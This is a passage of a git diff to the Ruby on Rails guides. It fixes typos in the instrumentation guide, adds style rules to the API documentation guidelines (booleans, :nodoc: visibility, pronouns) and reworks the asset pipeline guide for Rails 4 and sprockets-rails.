-INFO. Cache stores my add their own keys
+INFO. Cache stores may add their own keys
```ruby
{
@@ -396,6 +398,15 @@ INFO. Cache stores my add their own keys
}
```
+Railties
+--------
+
+### load_config_initializer.railties
+
+| Key | Value |
+| -------------- | ----------------------------------------------------- |
+| `:initializer` | Path to loaded initializer from `config/initializers` |
+
Rails
-----
@@ -428,11 +439,11 @@ end
```
Defining all those block arguments each time can be tedious. You can easily create an `ActiveSupport::Notifications::Event`
-from block args like this:
+from block arguments like this:
```ruby
ActiveSupport::Notifications.subscribe "process_action.action_controller" do |*args|
- event = ActiveSupport::Notification::Event.new args
+ event = ActiveSupport::Notifications::Event.new *args
event.name # => "process_action.action_controller"
event.duration # => 10 (in milliseconds)
@@ -442,15 +453,16 @@ ActiveSupport::Notifications.subscribe "process_action.action_controller" do |*a
end
```
-Most times you only care about the data itself. Here is a shortuct to just get the data.
+Most times you only care about the data itself. Here is a shortcut to just get the data.
```ruby
ActiveSupport::Notifications.subscribe "process_action.action_controller" do |*args|
data = args.extract_options!
data # { extra: :information }
+end
```
-You may also subscribe to events matching a regular expresssion. This enables you to subscribe to
+You may also subscribe to events matching a regular expression. This enables you to subscribe to
multiple events at once. Here's you could subscribe to everything from `ActionController`.
```ruby
@@ -465,7 +477,7 @@ Creating custom events
Adding your own events is easy as well. `ActiveSupport::Notifications` will take care of
all the heavy lifting for you. Simply call `instrument` with a `name`, `payload` and a block.
The notification will be sent after the block returns. `ActiveSupport` will generate the start and end times
-as well as the unique ID. All data passed into the `insturment` call will make it into the payload.
+as well as the unique ID. All data passed into the `instrument` call will make it into the payload.
Here's an example:
diff --git a/guides/source/api_documentation_guidelines.md b/guides/source/api_documentation_guidelines.md
index d0499878da..a2ebf55335 100644
--- a/guides/source/api_documentation_guidelines.md
+++ b/guides/source/api_documentation_guidelines.md
@@ -13,7 +13,19 @@ After reading this guide, you will know:
RDoc
----
-The Rails API documentation is generated with RDoc. Please consult the documentation for help with the [markup](http://rdoc.rubyforge.org/RDoc/Markup.html), and also take into account these [additional directives](http://rdoc.rubyforge.org/RDoc/Parser/Ruby.html).
+The [Rails API documentation](http://api.rubyonrails.org) is generated with
+[RDoc](http://docs.seattlerb.org/rdoc/).
+
+```bash
+ bundle exec rake rdoc
+```
+
+Resulting HTML files can be found in the ./doc/rdoc directory.
+
+Please consult the RDoc documentation for help with the
+[markup](http://docs.seattlerb.org/rdoc/RDoc/Markup.html),
+and also take into account these [additional
+directives](http://docs.seattlerb.org/rdoc/RDoc/Parser/Ruby.html).
Wording
-------
@@ -25,7 +37,7 @@ Write in present tense: "Returns a hash that...", rather than "Returned a hash t
Start comments in upper case. Follow regular punctuation rules:
```ruby
-# Declares an attribute reader backed by an internally-named
+# Declares an attribute reader backed by an internally-named
# instance variable.
def attr_internal_reader(*attrs)
...
@@ -42,10 +54,32 @@ Spell names correctly: Arel, Test::Unit, RSpec, HTML, MySQL, JavaScript, ERB. Wh
Use the article "an" for "SQL", as in "an SQL statement". Also "an SQLite database".
+Prefer wordings that avoid "you"s and "your"s. For example, instead of
+
+```markdown
+If you need to use `return` statements in your callbacks, it is recommended that you explicitly define them as methods.
+```
+
+use this style:
+
+```markdown
+If `return` is needed it is recommended to explicitly define a method.
+```
+
+That said, when using pronouns in reference to a hypothetical person, such as "a
+user with a session cookie", gender neutral pronouns (they/their/them) should be
+used. Instead of:
+
+* he or she... use they.
+* him or her... use them.
+* his or her... use their.
+* his or hers... use theirs.
+* himself or herself... use themselves.
+
English
-------
-Please use American English (<em>color</em>, <em>center</em>, <em>modularize</em>, etc).. See [a list of American and British English spelling differences here](http://en.wikipedia.org/wiki/American_and_British_English_spelling_differences).
+Please use American English (*color*, *center*, *modularize*, etc). See [a list of American and British English spelling differences here](http://en.wikipedia.org/wiki/American_and_British_English_spelling_differences).
Example Code
------------
@@ -57,7 +91,7 @@ Use two spaces to indent chunks of code--that is, for markup purposes, two space
Short docs do not need an explicit "Examples" label to introduce snippets; they just follow paragraphs:
```ruby
-# Converts a collection of elements into a formatted string by
+# Converts a collection of elements into a formatted string by
# calling +to_s+ on all elements and joining them.
#
# Blog.all.to_formatted_s # => "First PostSecond PostThird Post"
@@ -88,14 +122,14 @@ The results of expressions follow them and are introduced by "# => ", vertically
If a line is too long, the comment may be placed on the next line:
```ruby
-# label(:post, :title)
-# # => <label for="post_title">Title</label>
+# label(:article, :title)
+# # => <label for="article_title">Title</label>
#
-# label(:post, :title, "A short title")
-# # => <label for="post_title">A short title</label>
+# label(:article, :title, "A short title")
+# # => <label for="article_title">A short title</label>
#
-# label(:post, :title, "A short title", class: "title_label")
-# # => <label for="post_title" class="title_label">A short title</label>
+# label(:article, :title, "A short title", class: "title_label")
+# # => <label for="article_title" class="title_label">A short title</label>
```
Avoid using any printing methods like `puts` or `p` for that purpose.
@@ -106,8 +140,55 @@ On the other hand, regular comments do not use an arrow:
# polymorphic_url(record) # same as comment_url(record)
```
-Filenames
----------
+Booleans
+--------
+
+In predicates and flags prefer documenting boolean semantics over exact values.
+
+When "true" or "false" are used as defined in Ruby use regular font. The
+singletons `true` and `false` need fixed-width font. Please avoid terms like
+"truthy", Ruby defines what is true and false in the language, and thus those
+words have a technical meaning and need no substitutes.
+
+As a rule of thumb, do not document singletons unless absolutely necessary. That
+prevents artificial constructs like `!!` or ternaries, allows refactors, and the
+code does not need to rely on the exact values returned by methods being called
+in the implementation.
+
+For example:
+
+```markdown
+`config.action_mailer.perform_deliveries` specifies whether mail will actually be delivered and is true by default
+```
+
+the user does not need to know which is the actual default value of the flag,
+and so we only document its boolean semantics.
+
+An example with a predicate:
+
+```ruby
+# Returns true if the collection is empty.
+#
+# If the collection has been loaded
+# it is equivalent to <tt>collection.size.zero?</tt>. If the
+# collection has not been loaded, it is equivalent to
+# <tt>collection.exists?</tt>. If the collection has not already been
+# loaded and you are going to fetch the records anyway it is better to
+# check <tt>collection.length.zero?</tt>.
+def empty?
+ if loaded?
+ size.zero?
+ else
+ @target.blank? && !scope.exists?
+ end
+end
+```
+
+The API is careful not to commit to any particular value, the method has
+predicate semantics, that's enough.
+
+File Names
+----------
As a rule of thumb, use filenames relative to the application root:
@@ -141,7 +222,17 @@ class Array
end
```
-WARNING: Using a pair of `+...+` for fixed-width font only works with **words**; that is: anything matching `\A\w+\z`. For anything else use `<tt>...</tt>`, notably symbols, setters, inline snippets, etc.
+WARNING: Using `+...+` for fixed-width font only works with simple content like
+ordinary method names, symbols, paths (with forward slashes), etc. Please use
+`<tt>...</tt>` for everything else, notably class or module names with a
+namespace as in `<tt>ActiveRecord::Base</tt>`.
+
+You can quickly test the RDoc output with the following command:
+
+```
+$ echo "+:to_param+" | rdoc --pipe
+#=> <p><code>:to_param</code></p>
+```
### Regular Font
@@ -172,7 +263,7 @@ In lists of options, parameters, etc. use a hyphen between the item and its desc
# * <tt>:allow_nil</tt> - Skip validation if attribute is +nil+.
```
-The description starts in upper case and ends with a full stop—it's standard English.
+The description starts in upper case and ends with a full stop-it's standard English.
Dynamically Generated Methods
-----------------------------
@@ -207,3 +298,64 @@ self.class_eval %{
end
}
```
+
+Method Visibility
+-----------------
+
+When writing documentation for Rails, it's important to understand the difference between public user-facing API vs internal API.
+
+Rails, like most libraries, uses the private keyword from Ruby for defining internal API. However, public API follows a slightly different convention. Instead of assuming all public methods are designed for user consumption, Rails uses the `:nodoc:` directive to annotate these kinds of methods as internal API.
+
+This means that there are methods in Rails with `public` visibility that aren't meant for user consumption.
+
+An example of this is `ActiveRecord::Core::ClassMethods#arel_table`:
+
+```ruby
+module ActiveRecord::Core::ClassMethods
+ def arel_table #:nodoc:
+ # do some magic..
+ end
+end
+```
+
+If you thought, "this method looks like a public class method for `ActiveRecord::Core`", you were right. But actually the Rails team doesn't want users to rely on this method. So they mark it as `:nodoc:` and it's removed from public documentation. The reasoning behind this is to allow the team to change these methods according to their internal needs across releases as they see fit. The name of this method could change, or the return value, or this entire class may disappear; there's no guarantee and so you shouldn't depend on this API in your plugins or applications. Otherwise, you risk your app or gem breaking when you upgrade to a newer release of Rails.
+
+As a contributor, it's important to think about whether this API is meant for end-user consumption. The Rails team is committed to not making any breaking changes to public API across releases without going through a full deprecation cycle. It's recommended that you `:nodoc:` any of your internal methods/classes unless they're already private (meaning visibility), in which case it's internal by default. Once the API stabilizes the visibility can change, but changing public API is much harder due to backwards compatibility.
+
+A class or module is marked with `:nodoc:` to indicate that all methods are internal API and should never be used directly.
+
+If you come across an existing `:nodoc:` you should tread lightly. Consider asking someone from the core team or author of the code before removing it. This should almost always happen through a pull request instead of the docrails project.
+
+A `:nodoc:` should never be added simply because a method or class is missing documentation. There may be an instance where an internal public method wasn't given a `:nodoc:` by mistake, for example when switching a method from private to public visibility. When this happens it should be discussed over a PR on a case-by-case basis and never committed directly to docrails.
+
+To summarize, the Rails team uses `:nodoc:` to mark publicly visible methods and classes for internal use; changes to the visibility of API should be considered carefully and discussed over a pull request first.
+
+Regarding the Rails Stack
+-------------------------
+
+When documenting parts of Rails API, it's important to remember all of the
+pieces that go into the Rails stack.
+
+This means that behavior may change depending on the scope or context of the
+method or class you're trying to document.
+
+In various places there is different behavior when you take the entire stack
+into account, one such example is
+`ActionView::Helpers::AssetTagHelper#image_tag`:
+
+```ruby
+# image_tag("icon.png")
+# # => <img alt="Icon" src="/assets/icon.png" />
+```
+
+Although the default behavior for `#image_tag` is to always return
+`/images/icon.png`, we take into account the full Rails stack (including the
+Asset Pipeline) we may see the result seen above.
+
+We're only concerned with the behavior experienced when using the full default
+Rails stack.
+
+In this case, we want to document the behavior of the _framework_, and not just
+this specific method.
+
+If you have a question on how the Rails team handles certain API, don't hesitate to open a ticket or send a patch to the [issue tracker](https://github.com/rails/rails/issues).
diff --git a/guides/source/asset_pipeline.md b/guides/source/asset_pipeline.md
index ff6787dae5..ae0f19c02a 100644
--- a/guides/source/asset_pipeline.md
+++ b/guides/source/asset_pipeline.md
@@ -5,9 +5,9 @@ This guide covers the asset pipeline.
After reading this guide, you will know:
-* How to understand what the asset pipeline is and what it does.
+* What the asset pipeline is and what it does.
* How to properly organize your application assets.
-* How to understand the benefits of the asset pipeline.
+* The benefits of the asset pipeline.
* How to add a pre-processor to the pipeline.
* How to package assets with a gem.
@@ -16,44 +16,97 @@ After reading this guide, you will know:
What is the Asset Pipeline?
---------------------------
-The asset pipeline provides a framework to concatenate and minify or compress JavaScript and CSS assets. It also adds the ability to write these assets in other languages such as CoffeeScript, Sass and ERB.
+The asset pipeline provides a framework to concatenate and minify or compress
+JavaScript and CSS assets. It also adds the ability to write these assets in
+other languages and pre-processors such as CoffeeScript, Sass and ERB.
-Making the asset pipeline a core feature of Rails means that all developers can benefit from the power of having their assets pre-processed, compressed and minified by one central library, Sprockets. This is part of Rails' "fast by default" strategy as outlined by DHH in his keynote at RailsConf 2011.
+The asset pipeline is technically no longer a core feature of Rails 4, it has
+been extracted out of the framework into the
+[sprockets-rails](https://github.com/rails/sprockets-rails) gem.
-The asset pipeline is enabled by default. It can be disabled in `config/application.rb` by putting this line inside the application class definition:
+The asset pipeline is enabled by default.
+
+You can disable the asset pipeline while creating a new application by
+passing the `--skip-sprockets` option.
+
+```bash
+rails new appname --skip-sprockets
+```
+
+Rails 4 automatically adds the `sass-rails`, `coffee-rails` and `uglifier`
+gems to your Gemfile, which are used by Sprockets for asset compression:
```ruby
-config.assets.enabled = false
+gem 'sass-rails'
+gem 'uglifier'
+gem 'coffee-rails'
```
-You can also disable the asset pipeline while creating a new application by passing the `--skip-sprockets` option.
+Using the `--skip-sprockets` option will prevent Rails 4 from adding
+`sass-rails` and `uglifier` to Gemfile, so if you later want to enable
+the asset pipeline you will have to add those gems to your Gemfile. Also,
+creating an application with the `--skip-sprockets` option will generate
+a slightly different `config/application.rb` file, with a require statement
+for the sprockets railtie that is commented-out. You will have to remove
+the comment operator on that line to later enable the asset pipeline:
-```bash
-rails new appname --skip-sprockets
+```ruby
+# require "sprockets/railtie"
+```
+
+To set asset compression methods, set the appropriate configuration options
+in `production.rb` - `config.assets.css_compressor` for your CSS and
+`config.assets.js_compressor` for your JavaScript:
+
+```ruby
+config.assets.css_compressor = :yui
+config.assets.js_compressor = :uglifier
```
-You should use the defaults for all new applications unless you have a specific reason to avoid the asset pipeline.
+NOTE: The `sass-rails` gem is automatically used for CSS compression if included
+in Gemfile and no `config.assets.css_compressor` option is set.
### Main Features
-The first feature of the pipeline is to concatenate assets. This is important in a production environment, because it can reduce the number of requests that a browser must make to render a web page. Web browsers are limited in the number of requests that they can make in parallel, so fewer requests can mean faster loading for your application.
+The first feature of the pipeline is to concatenate assets, which can reduce the
+number of requests that a browser makes to render a web page. Web browsers are
+limited in the number of requests that they can make in parallel, so fewer
+requests can mean faster loading for your application.
-Rails 2.x introduced the ability to concatenate JavaScript and CSS assets by placing `:cache => true` at the end of the `javascript_include_tag` and `stylesheet_link_tag` methods. But this technique has some limitations. For example, it cannot generate the caches in advance, and it is not able to transparently include assets provided by third-party libraries.
+Sprockets concatenates all JavaScript files into one master `.js` file and all
+CSS files into one master `.css` file. As you'll learn later in this guide, you
+can customize this strategy to group files any way you like. In production,
+Rails inserts an MD5 fingerprint into each filename so that the file is cached
+by the web browser. You can invalidate the cache by altering this fingerprint,
+which happens automatically whenever you change the file contents.
-Starting with version 3.1, Rails defaults to concatenating all JavaScript files into one master `.js` file and all CSS files into one master `.css` file. As you'll learn later in this guide, you can customize this strategy to group files any way you like. In production, Rails inserts an MD5 fingerprint into each filename so that the file is cached by the web browser. You can invalidate the cache by altering this fingerprint, which happens automatically whenever you change the file contents.
+The second feature of the asset pipeline is asset minification or compression.
+For CSS files, this is done by removing whitespace and comments. For JavaScript,
+more complex processes can be applied. You can choose from a set of built in
+options or specify your own.
-The second feature of the asset pipeline is asset minification or compression. For CSS files, this is done by removing whitespace and comments. For JavaScript, more complex processes can be applied. You can choose from a set of built in options or specify your own.
-
-The third feature of the asset pipeline is that it allows coding assets via a higher-level language, with precompilation down to the actual assets. Supported languages include Sass for CSS, CoffeeScript for JavaScript, and ERB for both by default.
+The third feature of the asset pipeline is it allows coding assets via a
+higher-level language, with precompilation down to the actual assets. Supported
+languages include Sass for CSS, CoffeeScript for JavaScript, and ERB for both by
+default.
### What is Fingerprinting and Why Should I Care?
-Fingerprinting is a technique that makes the name of a file dependent on the contents of the file. When the file contents change, the filename is also changed. For content that is static or infrequently changed, this provides an easy way to tell whether two versions of a file are identical, even across different servers or deployment dates.
+Fingerprinting is a technique that makes the name of a file dependent on the
+contents of the file. When the file contents change, the filename is also
+changed. For content that is static or infrequently changed, this provides an
+easy way to tell whether two versions of a file are identical, even across
+different servers or deployment dates.
-When a filename is unique and based on its content, HTTP headers can be set to encourage caches everywhere (whether at CDNs, at ISPs, in networking equipment, or in web browsers) to keep their own copy of the content. When the content is updated, the fingerprint will change. This will cause the remote clients to request a new copy of the content. This is generally known as _cache busting_.
+When a filename is unique and based on its content, HTTP headers can be set to
+encourage caches everywhere (whether at CDNs, at ISPs, in networking equipment,
+or in web browsers) to keep their own copy of the content. When the content is
+updated, the fingerprint will change. This will cause the remote clients to
+request a new copy of the content. This is generally known as _cache busting_.
-The technique that Rails uses for fingerprinting is to insert a hash of the content into the name, usually at the end. For example a CSS file `global.css` could be renamed with an MD5 digest of its contents:
+The technique sprockets uses for fingerprinting is to insert a hash of the
+content into the name, usually at the end. For example a CSS file `global.css`
```
global-908e25f4bf641868d8683022a5b62f54.css
@@ -61,7 +114,8 @@ global-908e25f4bf641868d8683022a5b62f54.css
This is the strategy adopted by the Rails asset pipeline.
-Rails' old strategy was to append a date-based query string to every asset linked with a built-in helper. In the source the generated code looked like this:
+Rails' old strategy was to append a date-based query string to every asset linked
+with a built-in helper. In the source the generated code looked like this:
```
/stylesheets/global.css?1309495796
@@ -69,71 +123,129 @@ Rails' old strategy was to append a date-based query string to every asset linke
The query string strategy has several disadvantages:
-1. **Not all caches will reliably cache content where the filename only differs by query parameters**<br />
- [Steve Souders recommends](http://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/), "...avoiding a querystring for cacheable resources". He found that in this case 5-20% of requests will not be cached. Query strings in particular do not work at all with some CDNs for cache invalidation.
+1. **Not all caches will reliably cache content where the filename only differs by
+query parameters**
+
+ [Steve Souders recommends](http://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/),
+ "...avoiding a querystring for cacheable resources". He found that in this
+case 5-20% of requests will not be cached. Query strings in particular do not
+work at all with some CDNs for cache invalidation.
+
+2. **The file name can change between nodes in multi-server environments.**
+
+ The default query string in Rails 2.x is based on the modification time of
+the files. When assets are deployed to a cluster, there is no guarantee that the
+timestamps will be the same, resulting in different values being used depending
+on which server handles the request.
+
+3. **Too much cache invalidation**
-2. **The file name can change between nodes in multi-server environments.**<br />
- The default query string in Rails 2.x is based on the modification time of the files. When assets are deployed to a cluster, there is no guarantee that the timestamps will be the same, resulting in different values being used depending on which server handles the request.
-3. **Too much cache invalidation**<br />
- When static assets are deployed with each new release of code, the mtime of _all_ these files changes, forcing all remote clients to fetch them again, even when the content of those assets has not changed.
+ When static assets are deployed with each new release of code, the mtime
+(time of last modification) of _all_ these files changes, forcing all remote
+clients to fetch them again, even when the content of those assets has not changed.
-Fingerprinting fixes these problems by avoiding query strings, and by ensuring that filenames are consistent based on their content.
+Fingerprinting fixes these problems by avoiding query strings, and by ensuring
+that filenames are consistent based on their content.
-Fingerprinting is enabled by default for production and disabled for all other environments. You can enable or disable it in your configuration through the `config.assets.digest` option.
+Fingerprinting is enabled by default for production and disabled for all other
+environments. You can enable or disable it in your configuration through the
+`config.assets.digest` option.
More reading:
* [Optimize caching](http://code.google.com/speed/page-speed/docs/caching.html)
-* [Revving Filenames: don’t use querystring](http://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/)
+* [Revving Filenames: don't use querystring](http://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/)
How to Use the Asset Pipeline
-----------------------------
-In previous versions of Rails, all assets were located in subdirectories of `public` such as `images`, `javascripts` and `stylesheets`. With the asset pipeline, the preferred location for these assets is now the `app/assets` directory. Files in this directory are served by the Sprockets middleware included in the sprockets gem.
+In previous versions of Rails, all assets were located in subdirectories of
+`public` such as `images`, `javascripts` and `stylesheets`. With the asset
+pipeline, the preferred location for these assets is now the `app/assets`
+directory. Files in this directory are served by the Sprockets middleware.
-Assets can still be placed in the `public` hierarchy. Any assets under `public` will be served as static files by the application or web server. You should use `app/assets` for files that must undergo some pre-processing before they are served.
+Assets can still be placed in the `public` hierarchy. Any assets under `public`
+will be served as static files by the application or web server when
+`config.serve_static_assets` is set to true. You should use
+`app/assets` for files that must undergo some pre-processing before they are
+served.
-In production, Rails precompiles these files to `public/assets` by default. The precompiled copies are then served as static assets by the web server. The files in `app/assets` are never served directly in production.
+In production, Rails precompiles these files to `public/assets` by default. The
+precompiled copies are then served as static assets by the web server. The files
+in `app/assets` are never served directly in production.
-When you generate a scaffold or a controller, Rails also generates a JavaScript file (or CoffeeScript file if the `coffee-rails` gem is in the `Gemfile`) and a Cascading Style Sheet file (or SCSS file if `sass-rails` is in the `Gemfile`) for that controller.
+### Controller Specific Assets
-For example, if you generate a `ProjectsController`, Rails will also add a new file at `app/assets/javascripts/projects.js.coffee` and another at `app/assets/stylesheets/projects.css.scss`. You should put any JavaScript or CSS unique to a controller inside their respective asset files, as these files can then be loaded just for these controllers with lines such as `<%= javascript_include_tag params[:controller] %>` or `<%= stylesheet_link_tag params[:controller] %>`. Note that you have to set `config.assets.precompile` in `config/environments/production.rb` if you want to precomepile them and use in production mode. You can append them one by one or do something like this:
+When you generate a scaffold or a controller, Rails also generates a JavaScript
+file (or CoffeeScript file if the `coffee-rails` gem is in the `Gemfile`) and a
+Cascading Style Sheet file (or SCSS file if `sass-rails` is in the `Gemfile`)
+for that controller. Additionally, when generating a scaffold, Rails generates
+the file scaffolds.css (or scaffolds.css.scss if `sass-rails` is in the
+`Gemfile`.)
- # config/environments/production.rb
- config.assets.precompile << Proc.new { |path|
- if path =~ /\.(css|js)\z/
- full_path = Rails.application.assets.resolve(path).to_path
- app_assets_path = Rails.root.join('app', 'assets').to_path
- if full_path.starts_with? app_assets_path
- puts "including asset: " + full_path
- true
- else
- puts "excluding asset: " + full_path
- false
- end
- else
- false
- end
- }
+For example, if you generate a `ProjectsController`, Rails will also add a new
+file at `app/assets/javascripts/projects.js.coffee` and another at
+`app/assets/stylesheets/projects.css.scss`. By default these files will be ready
+to use by your application immediately using the `require_tree` directive. See
+[Manifest Files and Directives](#manifest-files-and-directives) for more details
+on require_tree.
-NOTE: You must have an [ExecJS](https://github.com/sstephenson/execjs#readme) supported runtime in order to use CoffeeScript. If you are using Mac OS X or Windows you have a JavaScript runtime installed in your operating system. Check [ExecJS](https://github.com/sstephenson/execjs#readme) documentation to know all supported JavaScript runtimes.
+You can also opt to include controller specific stylesheets and JavaScript files
+only in their respective controllers using the following:
+
+`<%= javascript_include_tag params[:controller] %>` or `<%= stylesheet_link_tag
+params[:controller] %>`
+
+When doing this, ensure you are not using the `require_tree` directive, as that
+will result in your assets being included more than once.
+
+WARNING: When using asset precompilation, you will need to ensure that your
+controller assets will be precompiled when loading them on a per page basis. By
+default .coffee and .scss files will not be precompiled on their own. See
+[Precompiling Assets](#precompiling-assets) for more information on how
+precompiling works.
+
+NOTE: You must have an ExecJS supported runtime in order to use CoffeeScript.
+If you are using Mac OS X or Windows, you have a JavaScript runtime installed in
+your operating system. Check [ExecJS](https://github.com/sstephenson/execjs#readme) documentation to know all supported JavaScript runtimes.
+
+You can also disable generation of controller specific asset files by adding the
+following to your `config/application.rb` configuration:
+
+```ruby
+ config.generators do |g|
+ g.assets false
+ end
+```
### Asset Organization
-Pipeline assets can be placed inside an application in one of three locations: `app/assets`, `lib/assets` or `vendor/assets`.
+Pipeline assets can be placed inside an application in one of three locations:
+`app/assets`, `lib/assets` or `vendor/assets`.
+
+* `app/assets` is for assets that are owned by the application, such as custom
+images, JavaScript files or stylesheets.
-* `app/assets` is for assets that are owned by the application, such as custom images, JavaScript files or stylesheets.
+* `lib/assets` is for your own libraries' code that doesn't really fit into the
+scope of the application or those libraries which are shared across applications.
-* `lib/assets` is for your own libraries' code that doesn't really fit into the scope of the application or those libraries which are shared across applications.
+* `vendor/assets` is for assets that are owned by outside entities, such as
+code for JavaScript plugins and CSS frameworks.
-* `vendor/assets` is for assets that are owned by outside entities, such as code for JavaScript plugins and CSS frameworks.
+WARNING: If you are upgrading from Rails 3, please take into account that assets
+under `lib/assets` or `vendor/assets` are available for inclusion via the
+application manifests but no longer part of the precompile array. See
+[Precompiling Assets](#precompiling-assets) for guidance.
#### Search Paths
-When a file is referenced from a manifest or a helper, Sprockets searches the three default asset locations for it.
+When a file is referenced from a manifest or a helper, Sprockets searches the
+three default asset locations for it.
-The default locations are: `app/assets/images` and the subdirectories `javascripts` and `stylesheets` in all three asset locations, but these subdirectories are not special. Any path under `assets/*` will be searched.
+The default locations are: the `images`, `javascripts` and `stylesheets`
+directories under the `app/assets` folder, but these subdirectories
+are not special - any path under `assets/*` will be searched.
For example, these files:
@@ -165,72 +277,113 @@ is referenced as:
//= require sub/something
```
-You can view the search path by inspecting `Rails.application.config.assets.paths` in the Rails console.
+You can view the search path by inspecting
+`Rails.application.config.assets.paths` in the Rails console.
-Besides the standard `assets/*` paths, additional (fully qualified) paths can be added to the pipeline in `config/application.rb`. For example:
+Besides the standard `assets/*` paths, additional (fully qualified) paths can be
+added to the pipeline in `config/application.rb`. For example:
```ruby
config.assets.paths << Rails.root.join("lib", "videoplayer", "flash")
```
-Paths are traversed in the order that they occur in the search path. By default, this means the files in `app/assets` take precedence, and will mask corresponding paths in `lib` and `vendor`.
+Paths are traversed in the order they occur in the search path. By default,
+this means the files in `app/assets` take precedence, and will mask
+corresponding paths in `lib` and `vendor`.
-It is important to note that files you want to reference outside a manifest must be added to the precompile array or they will not be available in the production environment.
+It is important to note that files you want to reference outside a manifest must
+be added to the precompile array or they will not be available in the production
+environment.
#### Using Index Files
-Sprockets uses files named `index` (with the relevant extensions) for a special purpose.
+Sprockets uses files named `index` (with the relevant extensions) for a special
+purpose.
-For example, if you have a jQuery library with many modules, which is stored in `lib/assets/library_name`, the file `lib/assets/library_name/index.js` serves as the manifest for all files in this library. This file could include a list of all the required files in order, or a simple `require_tree` directive.
+For example, if you have a jQuery library with many modules, which is stored in
+`lib/assets/javascripts/library_name`, the file `lib/assets/javascripts/library_name/index.js` serves as
+the manifest for all files in this library. This file could include a list of
+all the required files in order, or a simple `require_tree` directive.
-The library as a whole can be accessed in the site's application manifest like so:
+The library as a whole can be accessed in the application manifest like so:
```js
//= require library_name
```
-This simplifies maintenance and keeps things clean by allowing related code to be grouped before inclusion elsewhere.
+This simplifies maintenance and keeps things clean by allowing related code to
+be grouped before inclusion elsewhere.
### Coding Links to Assets
-Sprockets does not add any new methods to access your assets - you still use the familiar `javascript_include_tag` and `stylesheet_link_tag`.
+Sprockets does not add any new methods to access your assets - you still use the
+familiar `javascript_include_tag` and `stylesheet_link_tag`:
```erb
-<%= stylesheet_link_tag "application" %>
+<%= stylesheet_link_tag "application", media: "all" %>
<%= javascript_include_tag "application" %>
```
-In regular views you can access images in the `assets/images` directory like this:
+If using the turbolinks gem, which is included by default in Rails 4, then
+include the 'data-turbolinks-track' option which causes turbolinks to check if
+an asset has been updated and if so loads it into the page:
+
+```erb
+<%= stylesheet_link_tag "application", media: "all", "data-turbolinks-track" => true %>
+<%= javascript_include_tag "application", "data-turbolinks-track" => true %>
+```
+
+In regular views you can access images in the `public/assets/images` directory
+like this:
```erb
<%= image_tag "rails.png" %>
```
-Provided that the pipeline is enabled within your application (and not disabled in the current environment context), this file is served by Sprockets. If a file exists at `public/assets/rails.png` it is served by the web server.
+Provided that the pipeline is enabled within your application (and not disabled
+in the current environment context), this file is served by Sprockets. If a file
+exists at `public/assets/rails.png` it is served by the web server.
-Alternatively, a request for a file with an MD5 hash such as `public/assets/rails-af27b6a414e6da00003503148be9b409.png` is treated the same way. How these hashes are generated is covered in the [In Production](#in-production) section later on in this guide.
+Alternatively, a request for a file with an MD5 hash such as
+`public/assets/rails-af27b6a414e6da00003503148be9b409.png` is treated the same
+way. How these hashes are generated is covered in the [In
+Production](#in-production) section later on in this guide.
-Sprockets will also look through the paths specified in `config.assets.paths` which includes the standard application paths and any path added by Rails engines.
+Sprockets will also look through the paths specified in `config.assets.paths`,
+which includes the standard application paths and any paths added by Rails
+engines.
-Images can also be organized into subdirectories if required, and they can be accessed by specifying the directory's name in the tag:
+Images can also be organized into subdirectories if required, and then can be
+accessed by specifying the directory's name in the tag:
```erb
<%= image_tag "icons/rails.png" %>
```
-WARNING: If you're precompiling your assets (see [In Production](#in-production) below), linking to an asset that does not exist will raise an exception in the calling page. This includes linking to a blank string. As such, be careful using `image_tag` and the other helpers with user-supplied data.
+WARNING: If you're precompiling your assets (see [In Production](#in-production)
+below), linking to an asset that does not exist will raise an exception in the
+calling page. This includes linking to a blank string. As such, be careful using
+`image_tag` and the other helpers with user-supplied data.
#### CSS and ERB
-The asset pipeline automatically evaluates ERB. This means that if you add an `erb` extension to a CSS asset (for example, `application.css.erb`), then helpers like `asset_path` are available in your CSS rules:
+The asset pipeline automatically evaluates ERB. This means if you add an
+`erb` extension to a CSS asset (for example, `application.css.erb`), then
+helpers like `asset_path` are available in your CSS rules:
```css
.class { background-image: url(<%= asset_path 'image.png' %>) }
```
-This writes the path to the particular asset being referenced. In this example, it would make sense to have an image in one of the asset load paths, such as `app/assets/images/image.png`, which would be referenced here. If this image is already available in `public/assets` as a fingerprinted file, then that path is referenced.
+This writes the path to the particular asset being referenced. In this example,
+it would make sense to have an image in one of the asset load paths, such as
+`app/assets/images/image.png`, which would be referenced here. If this image is
+already available in `public/assets` as a fingerprinted file, then that path is
+referenced.
-If you want to use a [data URI](http://en.wikipedia.org/wiki/Data_URI_scheme) — a method of embedding the image data directly into the CSS file — you can use the `asset_data_uri` helper.
+If you want to use a [data URI](http://en.wikipedia.org/wiki/Data_URI_scheme) -
+a method of embedding the image data directly into the CSS file - you can use
+the `asset_data_uri` helper.
```css
#logo { background: url(<%= asset_data_uri 'logo.png' %>) }
@@ -242,29 +395,33 @@ Note that the closing tag cannot be of the style `-%>`.
#### CSS and Sass
-When using the asset pipeline, paths to assets must be re-written and `sass-rails` provides `-url` and `-path` helpers (hyphenated in Sass, underscored in Ruby) for the following asset classes: image, font, video, audio, JavaScript and stylesheet.
+When using the asset pipeline, paths to assets must be re-written and
+`sass-rails` provides `-url` and `-path` helpers (hyphenated in Sass,
+underscored in Ruby) for the following asset classes: image, font, video, audio,
+JavaScript and stylesheet.
* `image-url("rails.png")` becomes `url(/assets/rails.png)`
* `image-path("rails.png")` becomes `"/assets/rails.png"`.
-The more generic form can also be used but the asset path and class must both be specified:
+The more generic form can also be used:
-* `asset-url("rails.png", image)` becomes `url(/assets/rails.png)`
-* `asset-path("rails.png", image)` becomes `"/assets/rails.png"`
+* `asset-url("rails.png")` becomes `url(/assets/rails.png)`
+* `asset-path("rails.png")` becomes `"/assets/rails.png"`
#### JavaScript/CoffeeScript and ERB
-If you add an `erb` extension to a JavaScript asset, making it something such as `application.js.erb`, then you can use the `asset_path` helper in your JavaScript code:
+If you add an `erb` extension to a JavaScript asset, making it something such as
+`application.js.erb`, you can then use the `asset_path` helper in your
+JavaScript code:
```js
-$('#logo').attr({
- src: "<%= asset_path('logo.png') %>"
-});
+$('#logo').attr({ src: "<%= asset_path('logo.png') %>" });
```
This writes the path to the particular asset being referenced.
